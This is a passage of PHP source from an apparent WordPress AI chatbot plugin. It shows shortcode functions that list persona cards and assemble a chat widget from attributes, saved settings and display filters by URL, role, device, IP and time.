'persistent_guests' => '', 'internet_access' => 'enabled', 'embeddings' => 'enabled', 'prompt_templates' => '', 'prompt_editable' => '', 'placeholder' => '', 'submit' => '', 'show_in_window' => '', 'window_location' => '', 'font_size' => '', 'height' => '', 'background' => '', 'minheight' => '', 'bubble_width' => '', 'bubble_alignment' => '', 'bubble_user_alignment' => '', 'show_user_avatar' => '', 'show_ai_avatar' => '', 'general_background' => '', 'width' => '', 'user_font_color' => '', 'user_background_color' => '', 'ai_font_color' => '', 'ai_background_color' => '', 'input_text_color' => '', 'persona_name_color' => '', 'persona_role_color' => '', 'input_placeholder_color' => '', 'input_border_color' => '', 'submit_color' => '', 'voice_color' => '', 'ai_role' => '', 'ai_avatar' => '', 'user_avatar' => '', 'ai_name' => '', 'voice_color_activated' => '', 'submit_text_color' => '', 'show_header' => '', 'show_dltxt' => '', 'show_mute' => '', 'show_internet' => '', 'overwrite_voice' => '', 'overwrite_avatar_image' => '', 'disable_streaming' => '', 'show_clear' => '', 'compliance' => '', 'select_prompt' => '', 'chatbot_text_speech' => '', 'enable_god_mode' => '', 'ai_personas' => '', 'upload_pdf' => '', 'file_uploads' => '', 'custom_header' => '', 'custom_footer' => '', 'custom_css' => '', 'send_message_sound' => '', 'receive_message_sound' => '', 'response_delay' => '' ), $atts ); if(!aiomatic_validate_activation()) { return; } if(!isset($_GET['personaid']) || empty(trim($_GET['personaid'])) || !is_numeric(trim($_GET['personaid']))) { $ai_personas = trim($atts['ai_personas']); if(empty($ai_personas)) { return esc_html__("You need to add a list of persona IDs, in the ai_personas shortcode parameter.", 'aiomatic-automatic-ai-content-writer'); } else { $search_persona_arr = explode(',', $ai_personas); $search_persona_arr = array_map('trim', $search_persona_arr); $my_post = array(); $my_post['post__in'] = $search_persona_arr; $my_post['post_type'] = 'aiomatic_personas'; $persona_arr = get_posts($my_post); if($persona_arr === null || empty($persona_arr)) { return esc_html__("Incorrect ai_personas parameter given.", 'aiomatic-automatic-ai-content-writer'); } $name = md5(get_bloginfo()); wp_register_style($name . '-custom-persona-style', plugins_url('styles/aiomatic-persona.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-custom-persona-style'); global $wp; $curr_url = add_query_arg( $wp->query_vars, home_url( $wp->request ) ); $return_me = ''; foreach ($persona_arr as $aiomatic_persona) { $this_url = add_query_arg( array( 'personaid' => $aiomatic_persona->ID ), $curr_url ); $return_me .= '<div class="aiomatic-col-lg-3"><div class="aiomatic-chat-boxes aiomatic-text-center"><a href="' . $this_url . '" title="' . esc_html($aiomatic_persona->post_title) . '"><div class="aiomatic-card"><div class="aiomatic-card-body">'; $att_src = get_the_post_thumbnail_url( $aiomatic_persona->ID, 'thumbnail' ); if ( $att_src ) { $return_me .= '<div class="aiomatic-widget-user-image"><img alt="User Avatar" class="ai-user-avatar aiomatic-rounded-circle" src="' . $att_src . '"></div>'; } else { $return_me .= '<div class="aiomatic-widget-user-image">' . esc_html__("No avatar added", 'aiomatic-automatic-ai-content-writer') . '</div>'; } $return_me .= '<div class="aiomatic-template-title"><h6 class="aiomatic-number-font">' . esc_html($aiomatic_persona->post_title) . '</h6></div><div class="aiomatic-template-info"><p class="aiomatic-text-muted">' . esc_html($aiomatic_persona->post_excerpt) . '</p></div>'; $return_me .= '</div></div></a></div></div>'; } return $return_me; } } else { $name = md5(get_bloginfo()); wp_register_style($name . '-custom-persona-style', plugins_url('styles/aiomatic-persona.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-custom-persona-style'); global $wp; $curr_url = add_query_arg( $wp->query_vars, home_url( $wp->request ) ); $atts['ai_persona'] = trim($_GET['personaid']); $atts['show_in_window'] = 'no'; return '<div class="ai_chatbot_main_holder"><div>' . aiomatic_chat_shortcode($atts) . '</div><div class="aiomatic-text-center"><button type="button" id="aichatbackbut" onclick="window.location.replace(\'' . $curr_url . '\');" class="btn btn-primary back-but">' . esc_html__("Back", 'aiomatic-automatic-ai-content-writer') . '</button></div></div>'; } } add_shortcode('aiomatic-chat-form', 'aiomatic_chat_shortcode'); function aiomatic_chat_shortcode($atts) { $atts = shortcode_atts( array( 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'enable_vision' => '', 'instant_response' => '', 'assistant_id' => '', 'chat_preppend_text' => '', 'user_message_preppend' => '', 'ai_message_preppend' => '', 'internet_access' => 'enabled', 'embeddings' => 'enabled', 'ai_first_message' => '', 'chat_mode' => '', 'user_token_cap_per_day' => '', 'persistent' => '', 'persistent_guests' => '', 'prompt_templates' => '', 'prompt_editable' => '', 'placeholder' => '', 'submit' => '', 'show_in_window' => '', 'window_location' => '', 'font_size' => '', 'height' => '', 'background' => '', 'minheight' => '', 'bubble_width' => '', 'bubble_alignment' => '', 'bubble_user_alignment' => '', 'show_user_avatar' => '', 'show_ai_avatar' => '', 'general_background' => '', 'width' => '', 'user_font_color' => '', 'user_background_color' => '', 'input_text_color' => '', 'persona_name_color' => '', 'persona_role_color' => '', 'input_placeholder_color' => '', 'ai_font_color' => '', 'ai_background_color' => '', 'input_border_color' => '', 'submit_color' => '', 'voice_color' => '', 'voice_color_activated' => '', 'submit_text_color' => '', 'ai_role' => '', 'ai_avatar' => '', 'user_avatar' => '', 'ai_name' => '', 'show_header' => '', 'show_dltxt' => '', 'show_mute' => '', 'show_internet' => '', 'overwrite_voice' => '', 'overwrite_avatar_image' => '', 'disable_streaming' => '', 'show_clear' => '', 'ai_persona' => '', 'live_preview' => '', 'compliance' => '', 'select_prompt' => '', 'chatbot_text_speech' => '', 'enable_god_mode' => '', 'upload_pdf' => '', 'file_uploads' => '', 'custom_header' => '', 'custom_footer' => '', 'custom_css' => '', 'send_message_sound' => '', 'receive_message_sound' => '', 'response_delay' => '', 'disable_filters' => '' ), $atts ); if(!aiomatic_validate_activation()) { return ''; } $chatid = uniqid(); $return_me = '<div class="aiomatic-chat-holder" instance="' . $chatid . '">'; $temp = $atts['temperature']; $top_p = $atts['top_p']; $presence = $atts['presence_penalty']; $frequency = $atts['frequency_penalty']; $model = $atts['model']; $enable_vision = $atts['enable_vision']; $disable_streaming = $atts['disable_streaming']; $instant_response = $atts['instant_response']; $assistant_id = $atts['assistant_id']; $chat_preppend_text = $atts['chat_preppend_text']; $user_message_preppend = $atts['user_message_preppend']; $ai_message_preppend = $atts['ai_message_preppend']; $ai_name = $atts['ai_name']; $ai_first_message = $atts['ai_first_message']; $chat_mode = $atts['chat_mode']; $user_token_cap_per_day = $atts['user_token_cap_per_day']; $persistent = $atts['persistent']; $prompt_templates = $atts['prompt_templates']; $prompt_editable = $atts['prompt_editable']; $internet_access = $atts['internet_access']; $embeddings = $atts['embeddings']; $placeholder = $atts['placeholder']; $submit = $atts['submit']; $enable_front_end = $atts['show_in_window']; $window_location = $atts['window_location']; $font_size = $atts['font_size']; $height = $atts['height']; $background = $atts['background']; $minheight = $atts['minheight']; $bubble_width = $atts['bubble_width']; $bubble_alignment = $atts['bubble_alignment']; $bubble_user_alignment = $atts['bubble_user_alignment']; $show_user_avatar = $atts['show_user_avatar']; $show_ai_avatar = $atts['show_ai_avatar']; $general_background = $atts['general_background']; $user_font_color = $atts['user_font_color']; $user_background_color = $atts['user_background_color']; $ai_font_color = $atts['ai_font_color']; $ai_background_color = $atts['ai_background_color']; $input_border_color = $atts['input_border_color']; $input_text_color = $atts['input_text_color']; $persona_name_color = $atts['persona_name_color']; $persona_role_color = $atts['persona_role_color']; $input_placeholder_color = $atts['input_placeholder_color']; $submit_color = $atts['submit_color']; $voice_color = $atts['voice_color']; $voice_color_activated = $atts['voice_color_activated']; $submit_text_color = $atts['submit_text_color']; $ai_role = $atts['ai_role']; $ai_avatar = $atts['ai_avatar']; $user_avatar = $atts['user_avatar']; $width = $atts['width']; $show_header = $atts['show_header']; $show_dltxt = $atts['show_dltxt']; $show_mute = $atts['show_mute']; $show_internet = $atts['show_internet']; $overwrite_voice = $atts['overwrite_voice']; $overwrite_avatar_image = $atts['overwrite_avatar_image']; $show_clear = $atts['show_clear']; $persistent_guests = $atts['persistent_guests']; $ai_persona = $atts['ai_persona']; $compliance = $atts['compliance']; $select_prompt = $atts['select_prompt']; $chatbot_text_speech = $atts['chatbot_text_speech']; $enable_god_mode = $atts['enable_god_mode']; $upload_pdf = $atts['upload_pdf']; $file_uploads = $atts['file_uploads']; $custom_header = $atts['custom_header']; $custom_footer = $atts['custom_footer']; $custom_css = $atts['custom_css']; $send_message_sound = $atts['send_message_sound']; $receive_message_sound = $atts['receive_message_sound']; $response_delay = $atts['response_delay']; $live_preview = $atts['live_preview']; $disable_filters = $atts['disable_filters']; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Chatbot_Settings['custom_footer']) && $aiomatic_Chatbot_Settings['custom_footer'] != '' && $custom_footer == '') { $custom_footer = $aiomatic_Chatbot_Settings['custom_footer']; } if (isset($aiomatic_Chatbot_Settings['custom_header']) && $aiomatic_Chatbot_Settings['custom_header'] != '' && $custom_header == '') { $custom_header = $aiomatic_Chatbot_Settings['custom_header']; } if (isset($aiomatic_Chatbot_Settings['custom_css']) && $aiomatic_Chatbot_Settings['custom_css'] != '' && $custom_css == '') { $custom_css = $aiomatic_Chatbot_Settings['custom_css']; } $custom_footer = html_entity_decode($custom_footer, ENT_QUOTES); $custom_header = html_entity_decode($custom_header, ENT_QUOTES); $custom_css = html_entity_decode($custom_css, ENT_QUOTES); if (isset($aiomatic_Chatbot_Settings['chat_model']) && $aiomatic_Chatbot_Settings['chat_model'] != '' && $model == '') { $model = $aiomatic_Chatbot_Settings['chat_model']; } if (isset($aiomatic_Chatbot_Settings['temperature']) && $aiomatic_Chatbot_Settings['temperature'] != '' && $temp == '') { $temp = $aiomatic_Chatbot_Settings['temperature']; } if (isset($aiomatic_Chatbot_Settings['top_p']) && $aiomatic_Chatbot_Settings['top_p'] != '' && $top_p == '') { $top_p = $aiomatic_Chatbot_Settings['top_p']; } if (isset($aiomatic_Chatbot_Settings['presence_penalty']) && $aiomatic_Chatbot_Settings['presence_penalty'] != '' && $presence == '') { $presence = $aiomatic_Chatbot_Settings['presence_penalty']; } if (isset($aiomatic_Chatbot_Settings['frequency_penalty']) && $aiomatic_Chatbot_Settings['frequency_penalty'] != '' && $frequency == '') { $frequency = $aiomatic_Chatbot_Settings['frequency_penalty']; } if (isset($aiomatic_Chatbot_Settings['instant_response']) && $aiomatic_Chatbot_Settings['instant_response'] != '' && $instant_response == '') { $instant_response = $aiomatic_Chatbot_Settings['instant_response']; } if (isset($aiomatic_Chatbot_Settings['assistant_id']) && $aiomatic_Chatbot_Settings['assistant_id'] != '' && $assistant_id == '') { $assistant_id = $aiomatic_Chatbot_Settings['assistant_id']; } if (isset($aiomatic_Chatbot_Settings['enable_vision']) && $aiomatic_Chatbot_Settings['enable_vision'] != '' && $enable_vision == '') { $enable_vision = $aiomatic_Chatbot_Settings['enable_vision']; } if (isset($aiomatic_Chatbot_Settings['chat_preppend_text']) && $aiomatic_Chatbot_Settings['chat_preppend_text'] != '' && $chat_preppend_text == '') { $chat_preppend_text = $aiomatic_Chatbot_Settings['chat_preppend_text']; } if (isset($aiomatic_Chatbot_Settings['ai_message_preppend']) && $aiomatic_Chatbot_Settings['ai_message_preppend'] != '' && $ai_message_preppend == '') { $ai_message_preppend = $aiomatic_Chatbot_Settings['ai_message_preppend']; } if (isset($aiomatic_Chatbot_Settings['user_message_preppend']) && $aiomatic_Chatbot_Settings['user_message_preppend'] != '' && $user_message_preppend == '') { $user_message_preppend = $aiomatic_Chatbot_Settings['user_message_preppend']; } if (isset($aiomatic_Chatbot_Settings['ai_first_message']) && $aiomatic_Chatbot_Settings['ai_first_message'] != '' && $ai_first_message == '') { $ai_first_message = $aiomatic_Chatbot_Settings['ai_first_message']; } if (isset($aiomatic_Chatbot_Settings['chat_mode']) && $aiomatic_Chatbot_Settings['chat_mode'] != '' && $chat_mode == '') { $chat_mode = $aiomatic_Chatbot_Settings['chat_mode']; } if (isset($aiomatic_Chatbot_Settings['user_token_cap_per_day']) && $aiomatic_Chatbot_Settings['user_token_cap_per_day'] != '' && $user_token_cap_per_day == '') { $user_token_cap_per_day = $aiomatic_Chatbot_Settings['user_token_cap_per_day']; } if (isset($aiomatic_Chatbot_Settings['persistent']) && $aiomatic_Chatbot_Settings['persistent'] != '' && $persistent == '') { $persistent = $aiomatic_Chatbot_Settings['persistent']; } if (isset($aiomatic_Chatbot_Settings['persistent_guests']) && $aiomatic_Chatbot_Settings['persistent_guests'] != '' && $persistent_guests == '') { $persistent_guests = $aiomatic_Chatbot_Settings['persistent_guests']; } if (isset($aiomatic_Chatbot_Settings['prompt_editable']) && $aiomatic_Chatbot_Settings['prompt_editable'] != '' && $prompt_editable == '') { $prompt_editable = $aiomatic_Chatbot_Settings['prompt_editable']; } if (isset($aiomatic_Chatbot_Settings['prompt_templates']) && $aiomatic_Chatbot_Settings['prompt_templates'] != '' && $prompt_templates == '') { $prompt_templates = $aiomatic_Chatbot_Settings['prompt_templates']; } if (isset($aiomatic_Chatbot_Settings['placeholder']) && $aiomatic_Chatbot_Settings['placeholder'] != '' && $placeholder == '') { $placeholder = $aiomatic_Chatbot_Settings['placeholder']; } if (isset($aiomatic_Chatbot_Settings['submit']) && $aiomatic_Chatbot_Settings['submit'] != '' && $submit == '') { $submit = $aiomatic_Chatbot_Settings['submit']; } if (isset($aiomatic_Chatbot_Settings['window_location']) && $aiomatic_Chatbot_Settings['window_location'] != '' && $window_location == '') { $window_location = $aiomatic_Chatbot_Settings['window_location']; } if (isset($aiomatic_Chatbot_Settings['ai_role']) && $aiomatic_Chatbot_Settings['ai_role'] != '' && $ai_role == '') { $ai_role = $aiomatic_Chatbot_Settings['ai_role']; } if (isset($aiomatic_Chatbot_Settings['ai_avatar']) && $aiomatic_Chatbot_Settings['ai_avatar'] != '' && $ai_avatar == '') { $ai_avatar = $aiomatic_Chatbot_Settings['ai_avatar']; } if (isset($aiomatic_Chatbot_Settings['user_avatar']) && $aiomatic_Chatbot_Settings['user_avatar'] != '' && $user_avatar == '') { $user_avatar = $aiomatic_Chatbot_Settings['user_avatar']; } if (isset($aiomatic_Chatbot_Settings['compliance']) && $aiomatic_Chatbot_Settings['compliance'] != '' && $compliance == '') { $compliance = $aiomatic_Chatbot_Settings['compliance']; } if (isset($aiomatic_Chatbot_Settings['bubble_width']) && $aiomatic_Chatbot_Settings['bubble_width'] != '' && $bubble_width == '') { $bubble_width = $aiomatic_Chatbot_Settings['bubble_width']; } elseif ($bubble_width == '') { $bubble_width = 'full'; } if (isset($aiomatic_Chatbot_Settings['bubble_alignment']) && $aiomatic_Chatbot_Settings['bubble_alignment'] != '' && $bubble_alignment == '') { $bubble_alignment = $aiomatic_Chatbot_Settings['bubble_alignment']; } elseif ($bubble_alignment == '') { $bubble_alignment = 'left'; } if (isset($aiomatic_Chatbot_Settings['bubble_user_alignment']) && $aiomatic_Chatbot_Settings['bubble_user_alignment'] != '' && $bubble_user_alignment == '') { $bubble_user_alignment = $aiomatic_Chatbot_Settings['bubble_user_alignment']; } elseif ($bubble_user_alignment == '') { $bubble_user_alignment = 'right'; } if (isset($aiomatic_Chatbot_Settings['show_ai_avatar']) && $aiomatic_Chatbot_Settings['show_ai_avatar'] != '' && $show_ai_avatar == '') { $show_ai_avatar = $aiomatic_Chatbot_Settings['show_ai_avatar']; } if (isset($aiomatic_Chatbot_Settings['show_user_avatar']) && $aiomatic_Chatbot_Settings['show_user_avatar'] != '' && $show_user_avatar == '') { $show_user_avatar = $aiomatic_Chatbot_Settings['show_user_avatar']; } if (isset($aiomatic_Chatbot_Settings['select_prompt']) && $aiomatic_Chatbot_Settings['select_prompt'] != '' && $select_prompt == '') { $select_prompt = $aiomatic_Chatbot_Settings['select_prompt']; } if(empty($select_prompt)) { $select_prompt = esc_html__("Please select a prompt", 'aiomatic-automatic-ai-content-writer'); } if($ai_message_preppend == '' && $ai_name != '') { $ai_message_preppend = $ai_name; } if(!empty($assistant_id) && is_numeric($assistant_id)) { $my_post = array(); $my_post['post__in'] = array($assistant_id); $my_post['post_type'] = 'aiomatic_assistants'; $assistant = get_posts($my_post); if($assistant !== null && !empty($assistant)) { $assistant = $assistant[0]; $ai_message_preppend = $assistant->post_title; $chat_preppend_text = $assistant->post_content; $message = get_post_meta($assistant->ID, '_assistant_first_message', true); $ai_first_message = $message; $ai_role = $assistant->post_excerpt; $ai_avatar = get_post_thumbnail_id($assistant->ID); } } else { if(!empty($ai_persona) && is_numeric($ai_persona)) { $my_post = array(); $my_post['post__in'] = array($ai_persona); $my_post['post_type'] = 'aiomatic_personas'; $persona = get_posts($my_post); if($persona !== null && !empty($persona)) { $persona = $persona[0]; $ai_message_preppend = $persona->post_title; $chat_preppend_text = $persona->post_content; $message = get_post_meta($persona->ID, '_persona_first_message', true); $ai_first_message = $message; $ai_role = $persona->post_excerpt; $ai_avatar = get_post_thumbnail_id($persona->ID); } } } $avatar_src = ''; $avatar_url = ''; if(is_numeric($ai_avatar)) { $att_src = wp_get_attachment_image_src( $ai_avatar, 'thumbnail', false ); if ( $att_src ) { $avatar_src = '<img alt="Avatar" class="openai-chat-avatar" src="' . $att_src[0] . '">'; $avatar_url = $att_src[0]; } } $avatar_url_user = ''; if (isset($aiomatic_Chatbot_Settings['user_account_avatar']) && $aiomatic_Chatbot_Settings['user_account_avatar'] == 'on' && is_user_logged_in()) { $current_user_id = get_current_user_id(); $user_avatar_image = get_avatar_url($current_user_id); if ($user_avatar_image !== false) { $avatar_url_user = $user_avatar_image; } else { if(is_numeric($user_avatar)) { $att_src_user = wp_get_attachment_image_src( $user_avatar, 'thumbnail', false ); if ( $att_src_user ) { $avatar_url_user = $att_src_user[0]; } } } } else { if(is_numeric($user_avatar)) { $att_src_user = wp_get_attachment_image_src( $user_avatar, 'thumbnail', false ); if ( $att_src_user ) { $avatar_url_user = $att_src_user[0]; } } } if(aiomatic_endsWith(trim($user_message_preppend), ':')) { $user_message_preppend = trim(trim($user_message_preppend), ':'); } if(aiomatic_endsWith(trim($ai_message_preppend), ':')) { $ai_message_preppend = trim(trim($ai_message_preppend), ':'); } if(!empty($user_message_preppend)) { $user_message_preppend .= ': '; } if(!empty($ai_message_preppend)) { $ai_message_preppend .= ': '; } if($enable_front_end == 'on' || $enable_front_end == '1' || $enable_front_end == 'true' || $enable_front_end == 'yes' || $enable_front_end == 'front' || $enable_front_end == 'back' || $enable_front_end == 'both') { if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['not_show_urls']) && trim($aiomatic_Chatbot_Settings['not_show_urls']) != '') { $no_show_urls = preg_split('/\r\n|\r|\n/', trim($aiomatic_Chatbot_Settings['not_show_urls'])); $no_show_urls = array_filter($no_show_urls); if(count($no_show_urls) > 0) { global $wp; $current_url = home_url( $wp->request ); foreach($no_show_urls as $nsurl) { if(rtrim($current_url, '/') == rtrim(trim($nsurl), '/')) { return ''; } } } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['only_show_urls']) && trim($aiomatic_Chatbot_Settings['only_show_urls']) != '') { $only_show_urls = preg_split('/\r\n|\r|\n/', trim($aiomatic_Chatbot_Settings['only_show_urls'])); $only_show_urls = array_filter($only_show_urls); if(count($only_show_urls) > 0) { $url_found = false; global $wp; $current_url = home_url( $wp->request ); foreach($only_show_urls as $nsurl) { if(rtrim($current_url, '/') == rtrim(trim($nsurl), '/')) { $url_found = true; } } if($url_found === false) { return ''; } } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['never_show']) && is_array($aiomatic_Chatbot_Settings['never_show'])) { $this_day = date('l'); if(in_array($this_day, $aiomatic_Chatbot_Settings['never_show'])) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['show_content_wp']) && is_array($aiomatic_Chatbot_Settings['show_content_wp']) && !empty($aiomatic_Chatbot_Settings['show_content_wp'])) { $post_chars = aiomatic_get_post_characteristics(); $fnd = false; foreach($aiomatic_Chatbot_Settings['show_content_wp'] as $showme) { if(in_array($showme, $post_chars)) { $fnd = true; break; } } if($fnd == false) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['no_show_content_wp']) && is_array($aiomatic_Chatbot_Settings['no_show_content_wp']) && !empty($aiomatic_Chatbot_Settings['no_show_content_wp'])) { $post_chars = aiomatic_get_post_characteristics(); $fnd = false; foreach($aiomatic_Chatbot_Settings['no_show_content_wp'] as $showme) { if(in_array($showme, $post_chars)) { $fnd = true; break; } } if($fnd == true) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['no_show_locales']) && is_array($aiomatic_Chatbot_Settings['no_show_locales']) && !empty($aiomatic_Chatbot_Settings['no_show_locales'])) { $locale = get_user_locale(); $fnd = false; foreach($aiomatic_Chatbot_Settings['no_show_locales'] as $showme) { if($showme == $locale) { $fnd = true; break; } } if($fnd == true) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['show_locales']) && is_array($aiomatic_Chatbot_Settings['show_locales']) && !empty($aiomatic_Chatbot_Settings['show_locales'])) { $locale = get_user_locale(); $fnd = false; foreach($aiomatic_Chatbot_Settings['show_locales'] as $showme) { if($showme == $locale) { $fnd = true; break; } } if($fnd == false) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['no_show_roles']) && is_array($aiomatic_Chatbot_Settings['no_show_roles']) && !empty($aiomatic_Chatbot_Settings['no_show_roles'])) { $user = wp_get_current_user(); $fnd = false; if ( null !== $user ) { foreach ( $user->roles as $role ) { if ( in_array( $role, $aiomatic_Chatbot_Settings['no_show_roles'], true ) ) { $fnd = true; break; } } if($fnd == true) { return ''; } } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['show_roles']) && is_array($aiomatic_Chatbot_Settings['show_roles']) && !empty($aiomatic_Chatbot_Settings['show_roles'])) { $user = wp_get_current_user(); $fnd = false; if ( null !== $user ) { foreach ( $user->roles as $role ) { if ( in_array( $role, $aiomatic_Chatbot_Settings['show_roles'], true ) ) { $fnd = true; break; } } } if($fnd == false) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['no_show_devices']) && is_array($aiomatic_Chatbot_Settings['no_show_devices']) && !empty($aiomatic_Chatbot_Settings['no_show_devices'])) { require_once(dirname(__FILE__) . "/res/mobile-detect.php"); $fnd = false; $detect = new AiomaticMobileDetect; $device = 'desktop'; if ( $detect->isTablet() ) { $device = 'tablet'; } if ( $detect->isMobile() && ! $detect->isTablet() ) { $device = 'mobile'; } if ( in_array( $device, $aiomatic_Chatbot_Settings['no_show_devices'], true ) ) { $fnd = true; } if($fnd == true) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['show_devices']) && is_array($aiomatic_Chatbot_Settings['show_devices']) && !empty($aiomatic_Chatbot_Settings['show_devices'])) { require_once(dirname(__FILE__) . "/res/mobile-detect.php"); $fnd = false; $detect = new AiomaticMobileDetect; $device = 'desktop'; if ( $detect->isTablet() ) { $device = 'tablet'; } if ( $detect->isMobile() && ! $detect->isTablet() ) { $device = 'mobile'; } if ( in_array( $device, $aiomatic_Chatbot_Settings['show_devices'], true ) ) { $fnd = true; } if($fnd == false) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['no_show_oses']) && is_array($aiomatic_Chatbot_Settings['no_show_oses']) && !empty($aiomatic_Chatbot_Settings['no_show_oses'])) { $fnd = false; foreach($aiomatic_Chatbot_Settings['no_show_oses'] as $showme) { if ( aiomatic_detectOS($showme) ) { $fnd = true; break; } } if($fnd == true) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['show_oses']) && is_array($aiomatic_Chatbot_Settings['show_oses']) && !empty($aiomatic_Chatbot_Settings['show_oses'])) { $fnd = false; foreach($aiomatic_Chatbot_Settings['show_oses'] as $showme) { if ( aiomatic_detectOS($showme) ) { $fnd = true; break; } } if($fnd == false) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['no_show_browsers']) && is_array($aiomatic_Chatbot_Settings['no_show_browsers']) && !empty($aiomatic_Chatbot_Settings['no_show_browsers'])) { $fnd = false; foreach($aiomatic_Chatbot_Settings['no_show_browsers'] as $showme) { if ( aiomatic_detectBrowser($showme) ) { $fnd = true; break; } } if($fnd == true) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['show_browsers']) && is_array($aiomatic_Chatbot_Settings['show_browsers']) && !empty($aiomatic_Chatbot_Settings['show_browsers'])) { $fnd = false; foreach($aiomatic_Chatbot_Settings['show_browsers'] as $showme) { if ( aiomatic_detectBrowser($showme) ) { $fnd = true; break; } } if($fnd == false) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['show_ips']) && !empty($aiomatic_Chatbot_Settings['show_ips'])) { $fnd = false; $sips = preg_split('/\r\n|\r|\n/', $aiomatic_Chatbot_Settings['show_ips']); foreach($sips as $showme) { if ( aiomatic_passIPs($showme) ) { $fnd = true; break; } } if($fnd == false) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['no_show_ips']) && !empty($aiomatic_Chatbot_Settings['no_show_ips'])) { $fnd = false; $sips = preg_split('/\r\n|\r|\n/', $aiomatic_Chatbot_Settings['no_show_ips']); foreach($sips as $showme) { if ( aiomatic_passIPs($showme) ) { $fnd = true; break; } } if($fnd == true) { return ''; } } if ($disable_filters != '1' && isset($aiomatic_Chatbot_Settings['min_time']) && $aiomatic_Chatbot_Settings['min_time'] != '' && isset($aiomatic_Chatbot_Settings['max_time']) && $aiomatic_Chatbot_Settings['max_time'] != '') { $always_show = false; if (isset($aiomatic_Chatbot_Settings['always_show']) && is_array($aiomatic_Chatbot_Settings['always_show'])) { $this_day = date('l'); if(in_array($this_day, $aiomatic_Chatbot_Settings['always_show'])) { $always_show = true; } } if($always_show === false) { $exit = true; $mytime = date("H:i"); $min_time = $aiomatic_Chatbot_Settings['min_time']; $max_time = $aiomatic_Chatbot_Settings['max_time']; $date1 = DateTime::createFromFormat('H:i', $mytime); $date2 = DateTime::createFromFormat('H:i', $min_time); $date3 = DateTime::createFromFormat('H:i', $max_time); if ($date1 > $date2 && $date1 < $date3) { $exit = false; } if($exit == true) { return ''; } } } if (isset($aiomatic_Chatbot_Settings['window_width']) && $aiomatic_Chatbot_Settings['window_width'] != '') { $window_width = $aiomatic_Chatbot_Settings['window_width']; } else { $window_width = '460px'; } } else { $window_width = ''; } if(empty($window_location)) { $window_location = 'bottom-right'; } if($window_location != 'bottom-right' && $window_location != 'bottom-left' && $window_location != 'top-right' && $window_location != 'top-left') { $window_location = 'bottom-right'; } if(empty($submit)) { $submit = 'Submit'; } if(empty($model)) { $model = get_default_model_name($aiomatic_Main_Settings); } if(empty($instant_response)) { $instant_response = 'false'; } if($instant_response == 'true') { $instant_response = 'on'; } if($instant_response == 'false') { $instant_response = 'off'; } if(empty($frequency)) { $frequency = '0'; } if(empty($presence)) { $presence = '0'; } if(empty($top_p)) { $top_p = '1'; } if(empty($temp)) { $temp = '0.8'; } if (isset($aiomatic_Chatbot_Settings['page_load_chat']) && $aiomatic_Chatbot_Settings['page_load_chat'] == 'on' ) { $autoload = '1'; } else { $autoload = '0'; } if (isset($aiomatic_Chatbot_Settings['free_voice']) && $aiomatic_Chatbot_Settings['free_voice'] != '') { $free_voice = $aiomatic_Chatbot_Settings['free_voice']; } else { $free_voice = 'Google US English;en-US'; } if (isset($aiomatic_Chatbot_Settings['chatbot_text_speech']) && $aiomatic_Chatbot_Settings['chatbot_text_speech'] != 'off' && $aiomatic_Chatbot_Settings['chatbot_text_speech'] != '' ) { if($chatbot_text_speech == '') { $chatbot_text_speech = $aiomatic_Chatbot_Settings['chatbot_text_speech']; } } else { if($chatbot_text_speech == '') { $chatbot_text_speech = 'off'; } } if($chat_mode == 'images' || $chat_mode == 'image') { $user_id = '0'; $chat_history = ''; if(!empty($user_token_cap_per_day) || ($persistent != 'off' && $persistent != '0' && $persistent != '')) { $user_id = get_current_user_id(); if($user_id == 0 && ($persistent_guests == 'on' || $persistent_guests == '1')) { $user_id = aiomatic_get_the_user_ip(); } if(($persistent != 'off' && $persistent != 'logs' && $persistent != 'vector' && $persistent != '0' && $persistent != '') && $user_id != 0) { if(is_numeric($user_id)) { $chat_history = get_user_meta($user_id, 'aiomatic_chat_history_' . $persistent, true); if(empty($chat_history)) { $chat_history = ''; } } else { $chat_history = get_transient('aiomatic_chat_history_' . $persistent . '_' . $user_id); if(empty($chat_history)) { $chat_history = ''; } } } } $enable_moderation = '0'; if (isset($aiomatic_Chatbot_Settings['enable_moderation']) && $aiomatic_Chatbot_Settings['enable_moderation'] == 'on') { $enable_moderation = '1'; } if (isset($aiomatic_Chatbot_Settings['moderation_model']) && $aiomatic_Chatbot_Settings['moderation_model'] == 'on') { $moderation_model = $aiomatic_Chatbot_Settings['moderation_model']; } else { $moderation_model = 'text-moderation-stable'; } if (isset($aiomatic_Chatbot_Settings['flagged_message']) && $aiomatic_Chatbot_Settings['flagged_message'] == 'on') { $flagged_message = $aiomatic_Chatbot_Settings['flagged_message']; } else { $flagged_message = 'Your message has been flagged as potentially harmful or inappropriate. Please review your language and content to ensure it aligns with our values of respect and sensitivity towards others. Thank you for your cooperation.'; } if (isset($aiomatic_Chatbot_Settings['enable_copy']) && $aiomatic_Chatbot_Settings['enable_copy'] == 'on') { $enable_copy = $aiomatic_Chatbot_Settings['enable_copy']; } else { $enable_copy = '0'; } if (isset($aiomatic_Chatbot_Settings['scroll_bot']) && 